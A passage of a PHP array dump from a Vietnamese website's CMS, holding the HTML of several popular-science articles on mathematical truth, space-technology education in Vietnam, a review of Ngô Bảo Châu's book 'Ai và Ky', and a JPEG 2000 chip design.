đó thì cười tít mắt. Theo lý thuyết này, giám khảo của các cuộc thi sắc đẹp bây giờ, nếu thấy thí sinh có sẹo ở chân chẳng hạn, có lẽ nên nói cái sẹo ở đó là thừa thay vì thay vì chê bai thí sinh.</div> <div> </div> <div> Như vậy xem ra nhận định của Đông Tây kim cổ đều có nét tương đồng.</div> <div> </div> <div> Giờ nghiêm túc hơn một chút nhé:</div> <div> </div> <div> Trong vật lý cổ điển, khi năng lượng có vai trò chủ đạo thì Nguyên tắc hoạt động tối thiểu (Principle of least action) có vai trò quan trọng tương ứng. Vậy nếu coi tự nhiên (universe), ở mức cơ bản nhất, được tạo bởi thông tin (hiện có rất nhiều nhà vật lý theo giả thiết này) thì Nguyên tắc tiết kiệm thông tin (Principle of least information – PLI) cũng sẽ có vai trò tương tự. Liệu có thể tìm cách kiểm chứng PLI ở những chỗ này chăng (với sự dè dặt rất lớn)? Trường hấp hẫn: theo cách giải thích thường thấy thì vật chất làm cong không gian, độ cong đó chính là hấp dẫn. Vậy có thể nhìn cách khác: không gian là lưới thông tin; độ cong của không gian chính là mật độ thông tin. Như vậy, ở mức cơ bản nhất, không gian, và rộng ra là cả vũ trụ, được cấu tạo bởi thông tin. Chỗ nào có mật độ thông tin lớn thì vật chất tụ lại tương ứng. Ánh sáng cũng như mọi vật chuyển động theo đường trắc địa không phải vì hấp dẫn mà đơn giản là dòng chảy tự nhiên của thông tin theo cách tương thích nhất với thông tin nền mà nó tiếp xúc (không gian). Sự lượng tử hóa không gian sẽ là một hệ quả tất yếu. Nhưng thời gian thì sao? Hoặc trong Vật lý lỗ đen, khi các bit thông tin phủ kín chân trời lỗ đen chứ không phải là toàn bộ thể tích lỗ đen thì đây có thể coi là hệ quả của nguyên tắc “không thiếu không thừa”? Vậy liệu có thể dùng PLI để đạt lại những kết quả như của họ? Tiếc là không có một nhà Vật lý lý thuyết ở đây để thảo luận vấn đề này.</div> <div> </div> <div> Minh – Anh chen một tý vào chuyện cái đẹp thế này.</div> <div> </div> <div> Cái đẹp có một khía cạnh đặc biệt, là nó liên quan đến cảm xúc của con người.</div> <div> “Tri thức khách quan” không thể thống trị ở đây hoàn toàn được.</div> <div> </div> <div> Cái đẹp của mối tình mới chớm đến, khác với cái đẹp của mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-19', 'status' => '1', 'view' => '62215', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 7 => array( 'Post' => array( 'id' => '409', 'name' => 'Gần lắm giấc mơ thiên văn Việt Nam', 'code' => null, 'alias' => 'gan-lam-giac-mo-thien-van-viet-nam', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Trước đây, việc học và nghiên cứu công nghệ vũ trụ ở Việt Nam phải gián tiếp thông qua các ngành liên quan như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc này có thể được thực hiện trực tiếp nhờ vào chương trình học Vũ trụ và Ứng dụng (Space and Applications) tại ĐH Khoa học và Công nghệ Hà Nội. Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam cũng đang rộng mở với nhiều cơ hội.</div> <div> Những ứng dụng trực tiếp cho kinh tế và xã hội<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge (1).jpg" style="width: 250px; height: 167px;" /></div> <div> </div> <div> Thế kỷ 21, cùng với sự phát triển của công nghệ thông tin, công nghệ vũ trụ cũng đang ở trong giai đoạn bùng nổ. Nếu chú ý người ta sẽ nhìn thấy ứng dụng công nghệ vũ trụ ở khắp mọi nơi trong cuộc sống hàng ngày: ti-vi, điện thoại di động, máy tính xách tay, v.v. Không ai mà không biết đến những ứng dụng tuyệt vời của hệ thống định vị được tích hợp trong những chiếc điện thoại nhỏ xíu hay bản đồ điện tử, giúp chúng ta tìm được đến những hang cùng ngõ hẻm nhỏ nhất. Những ứng dụng này có được là nhờ một hệ thống vệ tinh phức tạp đang bay trên bầu trời. Nếu bạn thích du lịch thì chỉ cần lên máy bay, chưa đầy 24 tiếng bạn đã ở phía bên kia của quả đất nhưng những chiếc máy bay sẽ không thể di chuyển dễ dàng như thế nếu thiếu đi các hệ thống kiếm soát hành trình và hệ thống định vị. </div> <div> </div> <div> Ngày nay việc theo dõi môi trường, rừng, biển, khí hậu, thiên tai cũng đã sử dụng nhiều ứng dụng công nghệ vũ trụ vào một ngành riêng biệt là ngành viễn thám (remote sensing). Viễn thám là ngành nghiên cứu sử dụng các hệ thống dò tìm, đo đạc đặt trên các vệ tinh trên bầu trời để quan sát các khu vực dưới mặt đất. Nhờ vậy mà người ta có thể được thu thập hình ảnh, số liệu một phần diện tích rộng và có một cái nhìn tổng thể hơn. </div> <div> </div> <div> <strong>Trở thành nhà thiên văn học: Ước mơ trong tầm tay</strong></div> <div> </div> <div> Khoa học và công nghệ vũ trụ là tổng hợp thành quả từ nhiều ngành khoa học và cộng nghệ khác nhau, là biểu tượng của một quốc gia phát triển. Nhận thức được điều đó, Việt Nam đã và đang thúc đấy mạnh mẽ quá trình phát triển ngành công nghiệp vũ trụ nhằm phục vụ phát triển kinh tế xã hội cũng như khẳng định chủ quyền của Việt Nam trên không gian. Phát triển nguồn nhân lực chất lượng cao cho ngành khoa học vũ trụ và làm chủ công nghệ tiên tiến là một trong những ưu tiên hàng đầu.</div> <div> </div> <div> Ở Việt Nam trước đây, việc học và nghiên cứu công nghệ vũ trụ vẫn phải gián tiếp thông qua các ngành có liên quan đến vũ trụ như vật lý, công nghệ thông tin, viễn thông... Kể từ năm 2012, việc học và nghiên cứu công nghệ vũ trụ có thể được thực hiện trực tiếp nhờ vào chương trình học cử nhân và thạc sĩ Vũ trụ và ứng dụng (Space and Applications) tại Đại học Khoa học và Công nghệ Hà Nội1.</div> <div> </div> <div> Đại học Khoa học và Công nghệ Hà Nội (University of Science and Technology of Hanoi, viết tắt là USTH) là trường đại học công lập thuộc hệ thống giáo dục quốc dân, được thành lập theo sự hợp tác giữa Chính phủ Việt Nam và Chính phủ Pháp. Là trường đại học quốc tế đào tạo theo mô hình châu Âu, trường sẽ được xây dựng tại Khu Công nghệ cao Hòa Lạc và hoạt động kết hợp với Viện Khoa học và Công nghệ Việt Nam trong 10 năm đầu. Từ năm học 2012 – 2013, bên cạnh hệ cử nhân, hệ thạc sĩ Công nghệ vũ trụ và ứng dụng bắt đầu được triển khai với hầu hết các giảng viên đến từ Đại học Paris Diderot – Đại học Paris 7, Đài thiên văn Paris (l’Observatoire de Paris), Đại học Paul-Sabatier, École normale supérieur, v.v. Chương trình đào tạo thạc sĩ công nghệ vũ trụ đầu tiên và duy nhất tại Việt Nam được thực hiện theo Hệ thống chuyển đổi và tích lũy tín chỉ chung châu Âu (European Credit Transfer and Accumulation System, viết tắt là ECTS), được công nhận bởi chính phủ Việt Nam và chính phủ Pháp. </div> <div> </div> <div> Các hoạt động nghiên cứu và đào tạo sẽ được tiến hành tại một địa điểm và được kết nối với mạng lưới các trung tâm nghiên cứu – đào tạo chất lượng cao ở Pháp và Việt Nam. Chương trình cử nhân kéo dài 3 năm còn chương trình đào tạo hệ thạc sĩ Công nghệ vũ trụ và ứng dụng được chia làm 4 học kỳ trong 2 năm, mỗi học kỳ gồm 30 tín chỉ và tất cả các môn học sẽ được giảng dạy bằng tiếng Anh. Vào học kỳ cuối cùng, sinh viên sẽ được thực tập 8 tháng tại các phòng thí nghiệm nghiên cứu và phát triển (R&D labs), các viện nghiên cứu thiên văn học, các tổ hợp công nghiệp hàng không vũ trụ tại Pháp và châu Âu như Đài thiên văn Paris, Tập đoàn Hàng không vũ trụ và Quốc phòng châu Âu (EADS), v.v.</div> <div> </div> <div> Học viên sau khi bảo vệ thành công luận văn tốt nghiệp sẽ có hai bằng, một bằng của trường đại học Khoa học và Công nghệ Hà Nội và một bằng của trường đại học Pháp nhận các học viên sang thực tập. Khi tốt nghiệp, học viên sẽ có học vị chuyên ngành Thạc sĩ Khoa học vũ trụ và ứng dụng (Master in Space Science and Applications) hoặc Thạc sĩ Công nghệ vũ trụ (Master in Space Engineering). </div> <div> </div> <div> Chương trình sẽ cung cấp học bổng cho các học sinh có điều kiện khó khăn để hoàn thành chương trình. Đặc biệt việc thực tập trong học kỳ hai của năm hai thạc sĩ ở Pháp sẽ đươc chính phủ Pháp tài trợ 100%. Các sinh viên có nhu cầu phòng trọ sẽ được sắp xếp tại làng sinh viên quốc tế Thanh Xuân.</div> <div> </div> <div> <strong>Học công nghệ vũ trụ để làm gì?</strong></div> <div> </div> <div> Phần lớn các bạn trẻ thường hỏi học công nghệ vũ trụ rồi ra làm cái gì? Việc đầu tiên mà các bạn có thể làm đó là tại các trung tâm khoa học liên quan ở Việt Nam như đã kể ở trên. Do đặc thù liên ngành của ngành công nghệ vũ trụ, nếu như bạn đổi ý, với kiến thức được trang bị bạn có thể tìm việc làm ở các ngành kỹ thuật liên quan như điện, cơ khí, hàng không... hay các ngành khác như ngân hàng và tài chính. Theo thống kê mới đây ở Hoa Kỳ thì ngành công nghệ vũ trụ là ngành học ít bị thất nghiệp nhất ở Mỹ2, ngay cả trong bối cảnh khủng hoảng kinh tế hiện nay. Ngay cả các bạn học ngành thời thượng thì cũng chỉ 50% đi làm đúng ngành học, vậy tại sao bạn lại không nắm lấy cơ hội để học cái mình thích. Quan trọng nhất, nếu đây là ước mơ trẻ thơ của bạn, hãy nắm lấy.</div> <div> </div> <div> Tương lai nghề nghiệp ngành công nghệ vũ trụ Việt Nam đang rộng mở với nhiều cơ hội: kỹ sư và nghiên cứu viên tại các viện khoa học như Trung tâm Vũ trụ và Trung tâm Vệ tinh quốc gia; chuyên viên và kỹ thuật viên tại các tập đoàn viễn thông; chuyên viên trắc địa, thăm dò tại các cơ quan khí tượng, các tập đoàn khoáng sản và dầu khí; trở thành giảng viên đại học chuyên ngành thiên văn học, v.v…Sinh viên ngành vũ trụ và ứng dụng cũng có thể trở thành kỹ sư tại các công ty hàng không chuyên sản xuất thiết bị cho máy bay Boeing, Airbus hay các công ty thiết kế và chế tạo ô tô như Mercedes, BMW. Ngoài kiến thức chuyên môn vững chắc, đại học Khoa học và Công nghệ Hà Nội còn đào tạo cho những sinh viên này các kiến thức nền về quản trị, quản lý dự án khoa học, ngoại ngữ và luật pháp. </div> <div> </div> <div> <strong>Việt Nam trở lại sân chơi hàng không vũ trụ</strong></div> <div> </div> <div> Nhà nước ta đã chính thức tái khởi động chương trình nghiên cứu vũ trụ sau hơn 20 năm kể từ khi Phạm Tuân, là người châu Á đầu tiên, mang màu cờ Việt Nam lên bản đồ không gian thế giới. Ngày 14/6/2006, Thủ tướng Chính phủ phê duyệt “Chiến lược nghiên cứu và ứng dụng công nghệ vũ trụ đến năm 2020". Ngày 20/11/2006, Viện Công nghệ vũ trụ (Space Technology Institute - STI) được thành lập trực thuộc Viện Khoa học và Công nghệ Việt Nam, với mục tiêu trở thành cơ sở nghiên cứu đầu ngành về công nghệ vũ trụ của nhà nước. Cuối năm ngoái, Trung tâm Vệ tinh quốc gia Việt Nam (Vietnam National Satellite Centre - VNSC) được chính thức hoạt động, đặt tại Khu Công nghệ cao Hòa Lạc, Hà Nội. Trung tâm Vệ tinh quốc gia cũng sẽ thực hiện, tiếp nhận, quản lý, khai thác Dự án xây dựng Trung tâm Vũ trụ Việt Nam.</div> <div> </div> <div> Cách trung tâm Hà Nội 30km, trải rộng trên diện tích 9ha, Khu Nghiên cứu – Triển khai Công nghệ vũ trụ tại Khu công nghệ cao Hoà Lạc có tổng vốn 350 triệu đô-la Mỹ từ nguồn vốn vay ODA ưu đãi của Nhật Bản. Trung tâm Vũ trụ Việt Nam tại Hoà Lạc sẽ được lắp đặt các thiết bị hiện đại hàng đầu Việt Nam và khu vực, sánh tầm nhiều trung tâm vũ trụ lớn của thế giới. Cùng với việc chủ động giám sát thảm họa, quản lý tài nguyên thiên nhiên, phát triển các ngành khoa học phụ trợ, Trung tâm Vũ trụ Việt Nam sẽ là nơi thành lập Trung tâm Quan sát Trái đất và Phát triển vệ tinh, chuyển giao công nghệ và phát triển nguồn nhân lực ngành công nghệ vũ trụ, tạo đà phát triển bền vững cho Việt Nam, thúc đẩy hợp tác quốc tế giữa Việt Nam và các nước châu Á – Thái Bình Dương.</div> <div> </div> <div> Chính phủ Việt Nam đang đẩy mạnh công tác nghiên cứu và làm chủ công nghệ chế tạo vệ tinh nhỏ cỡ nhỏ (pico và mini) với dự án vệ tinh VNRedsat 1 (hợp tác với Pháp) và vệ tinh VNRedsat 2 (hợp tác với Bỉ), cùng nhiều dự án hợp tác với Cơ quan Hàng không vũ trụ Nhật Bản (JAXA). Hiện nay, tương lai nghề nghiệp ngành công nghệ vũ trụ và ứng dụng tại Việt Nam vô cùng rộng mở.</div> <div> </div> <div> ---</div> <div> </div> <div> * CLB Thiên văn nghiệp dư TP.HCM (HAAC)</div> <div> </div> <div> 1. Thông tin về chương trình học và thủ tục ứng tuyển có thể tham khảo thêm tại trang http://usth.edu.vn/vi/studycourses/mastercourses/master-of-space-and-applications/</div> <div> </div> <div> 2. Theo trang web: http://graphicsweb.wsj.com/documents/NILF1111/#term=</div> ', 'images' => '201606150911150c257c177fbfb4f676613725df7b63fa.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '55247', 'slug' => 'gan-lam-giac-mo-thien-van-viet-nam', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '707', 'rght' => '708', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 8 => array( 'Post' => array( 'id' => '408', 'name' => 'Ai và Ky ở xứ sở của những con số tàng hình*', 'code' => null, 'alias' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Tôi may mắn có trong tay bản thảo cuốn sách đã ba tháng nay, và phải làm cái công việc khó khăn là không dám “khoe” vì sợ lộ bí mật. Nay cuốn sách đã ra mắt, xin đưa lên bài viết về cảm nhận của tôi khi đọc sách. Cũng có thể xem là lời giới thiệu cuốn sách với bạn đọc.</div> <div> Một cuốn sách trình bày những kiến thức toán học dưới dạng “ngây thơ” nhất, và vì thế, bản chất nhất. Ta gặp ở đây những khái niệm đầu tiên về số, những vấn đề “cao siêu” như trường số, tính không giải được bằng căn thức của phương trình bậc 5 tổng quát, cho đến hình học phi Euclid, đường trắc địa…Một cuốn lịch sử toán học, từ sự ra đời của số vô tỷ đầu tiên đến sự xuất hiện của phương pháp tọa độ và giải tích vô cùng bé. Nhưng trước tiên, cuốn sách là một câu chuyện cổ tích tuyệt đẹp, với nắng vàng trên bãi cát, với bầu không khí trong vắt của trí tuệ và tình người, với những nghịch lý và âm mưu. Ta chợt nhận ra rằng, thế giới của những con số cũng huyền ảo, kỳ bí và lãng mạn như cuộc đời.</div> <div> </div> <div> Tác giả đưa ta vào câu chuyện cổ tích, mà ở đó cùng với Ai và Ky, ta bắt gặp những con người của nhiều thế kỷ khác nhau đang sống cùng nhau trong một thế giới chung: Toán học. Ta gặp Euclid (thế kỷ III TCN) và Thales (624-546 TCN), hai nhà phù thủy chỉ dùng cây thước và compa mà dựng nên cả “thế giới hữu tỷ”; thấy Pythagoras (570-495 TCN) nghiêm khắc trừng phạt anh học trò Hyppasus (thế kỷ V TCN) vì đã dám tạo ra số vô tỷ đầu tiên, phá vỡ cái hài hòa của thế giới hữu tỷ. Ta gặp Zeno xứ Elea (490- 430 TCN) hiện thân thành cô gái Zena với cặp mắt mê hoặc, mà khi nhìn vào đó, thời gian dường như bị chia thành những mảnh nhỏ vô cùng mà ta không thể vượt qua. Nhưng cuối cùng, Alice (lực sĩ Achilles?) đã dũng cảm vượt qua cái “nghịch lý Zeno” đó, dù biết là phải chịu trừng phạt. Để vượt qua cái việc chia cắt thời gian thành những mảnh nhỏ, Alice phải nhờ tới “chuỗi hội tụ”, nhờ tới giải tích vô cùng bé. Ông Chico hiểu điều đó, nhưng vẫn trừng trị Alice, để không làm phật ý Đức Vua, người chỉ biết dùng phép khai căn để tìm ra gốc gác từng thần dân (số) của mình. Ta nhận ra trong bóng dáng Chico hình ảnh của Cauchy (1789-1857), nhà toán học thiên tài, một trong những người đặt nền móng cho giải tích vô cùng bé, nhưng cũng là một người bảo hoàng cực đoan. Cũng vì phụng sự Đức Vua mà Chico trừng phạt chàng Elaci, người đã phát hiện ra rằng Đức Vua không thể chỉ dùng phép khai căn mà tìm được những “thần dân” là nghiệm của phương trình bậc năm. Ông Chico muốn dìm đi phát hiện đó của chàng Elaci, và Elaci đã phải quyết đấu với con rồng. Nhưng trong câu chuyện cổ này, Elaci không chết ở tuổi 21 như Evariste Galois (1811-1832) trong buổi sáng định mệnh sau trò đấu súng, mà chỉ bị đày đến “xứ p-adic”, xứ sở mới của những con số khác với số thực và phức nhưng cũng không kém phần hấp dẫn.</div> <div> </div> <div> Ai và Ky ở xứ sở của những con số tàng hình còn là cuốn sách vỡ lòng về triết học của toán học. Với cặp mắt ngây thơ của Ai, ta nhìn ra mâu thuẫn ẩn chứa trong các chứng minh phản chứng, mâu thuẫn giữa cái hữu hạn và vô hạn, của sự chứng minh được hay không một chân lý toán học. Bởi thế nên ông già Cartesius (René Descartes, 1596-1650) mới nhận ra rằng, để “tồn tại” thì chỉ “suy nghĩ” thôi là chưa đủ: “Ta đang nghi ngờ, việc của ta là nghi ngờ. Ta sợ một lúc nào đó ta không còn nghi ngờ được nữa, thì bản thân ta cũng sẽ trở nên tàng hình”. Cũng bởi vì thế mà Diogenes xứ Sinop (412 hoặc 404 – 323 TCN) mới cầm đèn đi giữa ban ngày để tìm cho ra người lương thiện.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/ImageHandlerLarge.jpg" style="width: 250px; height: 166px;" /></div> <div> </div> <div> “Giải quyết một bài toán cũng như ăn từng miếng nhỏ của trái táo. Làm như thế một là để thưởng thức, hai là để tránh nghẹn”, ông già Cartesius đã khuyên Ai như thế. Cuốn sách trên tay các bạn cũng cần được thưởng thức chậm rãi như thế, để có thể cảm nhận được hương vị đậm đà của nó. Và trên hết, phải có cặp mắt ngây thơ như cậu thiếu niên Ai, để nhìn ra chân lý. Bởi vì chân lý chỉ dành cho những người không bị che mắt bởi cái vụn vặt thường nhật.</div> <div> </div> <div> Lời nhắn nhủ của Elaci từ xứ sở p-adic cũng là lời nhắn cho tất cả chúng ta: “Hãy lắng nghe những người khác nói nhưng luôn suy nghĩ bằng cái đầu của mình. Cuối cùng và quan trọng nhất là đừng bao giờ để rơi mất tiếng cười hồn nhiên của Alice”.</div> <div> </div> <div> Cuốn sách giản dị, thông thái, sâu sắc, vừa dễ gần, vừa không dễ hiểu - như chính tác giả của nó vậy."</div> <div> </div> <div> Gấp sách lại, cái “cảm giác tiếc nuối trở nên mơ hồ như làn khói lam chiều. Có một tiểu hành tinh vừa băng qua mùa thu của Trái đất”. </div> <div> </div> <div> ---</div> <div> </div> <div> * Tác giả: Ngô Bảo Châu và Nguyễn Phương Văn; NXB Thế Giới và Nhã Nam ấn hành tháng 3/2012</div> ', 'images' => '20160615091008fbff3e430b33ac364ed26e294730583f.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '52316', 'slug' => 'ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '705', 'rght' => '706', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 9 => array( 'Post' => array( 'id' => '407', 'name' => 'TPHCM thiết kế thành công lõi IP nén ảnh JPEG 2000 ', 'code' => null, 'alias' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<div> Lõi IP nén ảnh JPEG 2000 do Trung tâm Nghiên cứu và Đào tạo Thiết kế Vi mạch (ICDREC), ĐH Quốc gia TPHCM, chế tạo là nền tảng để thiết kế các chip xử lý hình ảnh, ứng dụng trên các sản phẩm thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí...</div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 thuộc đề tài "Nghiên cứu thiết kế và chế tạo thử nghiệm chip nén ảnh theo tiêu chuẩn JPEG2000 và chip ADC đa năng ứng dụng trong y tế" của chương trình KH&CN trọng điểm cấp nhà nước KC.01/11-15 do ThS. Nguyễn Minh Khánh Ngọc (ICDREC) là chủ đề tài. Ngoài ra, ICDREC còn phối hợp với Vụ Trang thiết bị và Công trình y tế (Bộ Y tế) cùng thực hiện đề tài.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/MakeThumbnail.jpg" style="width: 150px; height: 130px;" /></div> <div> <br /> Tại buổi họp báo ngày 9/7, giám đốc ICDREC, ông Ngô Đức Hoàng, cho biết, JPEG 2000 là chuẩn nén ảnh của thế giới do Joint Photographic Experts Group công bố vào năm 2000, được ứng dụng trong nhiều lĩnh vực đời sống xã hội như các thiết bị đa phương tiện (điện thoại di động, máy quay camera, máy ảnh kỹ thuật số, máy in), y tế (nén ảnh cho các thiết bị X-quang, siêu âm...), khảo sát trắc địa (ảnh chụp từ vệ tinh cần nén trước khi truyền về trái đất...), quân sự/giám sát (cung cấp hình ảnh vệ tinh HD, phát hiện chuyển động, thiết lập mạng lưới phân phối và lưu trữ hình ảnh, camera giám sát chất lượng cao…</div> <div> </div> <div> Bắt tay thực hiện đề tài từ năm 2012, ThS. Nguyễn Minh Khánh Ngọc và các cộng sự đã nghiên cứu và nắm vững kỹ thuật thiết kế hệ thống nén ảnh JPEG 2000, kỹ thuật thiết kế bộ chuyển đổi tín hiệu tương tự sang số ADC độ chính xác cao và kỹ thuật thiết kế vi mạch ở công nghệ 130 nano mét. Đây là cơ sở để các nhà nghiên cứu thiết kế và chế tạo lõi IP mềm thực hiện nén ảnh theo tiêu chuẩn JPEG 2000.</div> <div> </div> <div> Sản phẩm lõi IP nén ảnh JPEG 2000 của ICDREC cho phép nén các ảnh tĩnh có độ phân giải cao lên đến 16 triệu điểm ảnh và 16 bit độ xám với các chế độ nén tổn hao và không tổn hao trên cùng một hệ thống, đồng thời cho phép người dùng nén các loại ảnh có tối đa bốn thành phần màu cùng với các định dạng ngõ vào khác nhau như 444, 422, 420 và mức xám. Lõi IP nén ảnh JPEG 2000 còn có thể nén ảnh động với độ phân giải HD đạt tốc độ 24 fps (frame/giây).</div> <div> </div> <div> Từ sản phẩm này, đội ngũ thiết kế vi mạch của ICDREC sẽ thiết kế các chip xử lý hình ảnh, ứng dụng trong các sản phẩm đòi hỏi hình ảnh có độ phân giải ảnh lớn và độ phân giải mức xám cao thuộc lĩnh vực y học, trắc địa học, truyền thông, viễn thám, sinh trắc học, giải trí…</div> <div> </div> <div> Trong quá trình nghiên cứu và thiết kế sản phẩm lõi IP, ICDREC còn đào tạo được đội ngũ nhân lực thiết kế vi mạch trong lĩnh vực tín hiệu số và xử lý ảnh, thiết kế vi mạch analog cho các ứng dụng chuyển đổi tín hiệu tương tựm đồng thời góp phần hỗ trợ cho một số nghiên cứu, dự án khác về các thiết bị xử lý ảnh y sinh và các thiết bị đo trong y tế.</div> <div> </div> <div> Về ý nghĩa lâu dài của đề tài, các nhà chuyên môn cho biết, khi ứng dụng thiết bị trên các hệ thống thiết bị y tế sẽ góp phần giảm giá thành thiết bị, giải tỏa áp lực và gánh nặng cho ngành y tế; cải thiện chất lượng phúc lợi xã hội, góp phần tạo thế cân bằng 